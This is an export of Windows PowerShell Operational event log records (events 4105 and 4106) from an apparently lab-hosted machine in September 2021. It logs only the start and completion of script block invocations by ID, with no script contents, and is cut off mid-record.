Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648009
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648008
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648007
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648026
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648025
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648024
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648023
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648022
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648021
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648020
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648019
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648018
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:52 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648017
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648036
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648035
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648034
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648033
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648032
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648031
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648030
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648029
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648028
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:17:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648027
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648046
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648045
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648044
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648043
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648042
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648041
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648040
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648039
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648038
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:03 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648037
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648056
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648055
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648054
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648053
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648052
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648051
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648050
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648049
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648048
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648047
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648066
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648065
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648064
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648063
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648062
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648061
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648060
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648059
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2648058
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2648057
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:18:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
